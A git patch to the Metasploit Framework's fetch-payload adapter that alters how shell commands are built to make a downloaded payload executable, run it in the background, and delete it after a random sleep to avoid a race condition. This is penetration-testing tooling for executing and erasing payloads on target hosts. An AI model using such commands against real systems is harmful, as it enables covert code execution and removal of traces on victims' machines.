From 594946db47447ad34a82ad23c88716f0aa1e8513 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 13 Dec 2024 10:31:10 -0600 Subject: [PATCH] Add sleep to prevent race condition, remove unneeded spaces --- lib/msf/core/payload/adapter/fetch.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 4de4f0b15577..84cefa41ce62 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -202,12 +202,14 @@ def _execute_win end def _execute_nix - cmds = "; chmod +x #{_remote_destination_nix}" + cmds = ";chmod +x #{_remote_destination_nix}" if datastore['FETCH_DELETE'] - cmds << "; (#{_remote_destination_nix} &)" - cmds << ";rm -rf #{_remote_destination_nix}" + # sometimes the delete can happen before the process is created + sleep_delete = rand(2..7) + cmds << ";(#{_remote_destination_nix} &)" + cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}" else - cmds << "; #{_remote_destination_nix} &" + cmds << ";#{_remote_destination_nix} &" end cmds end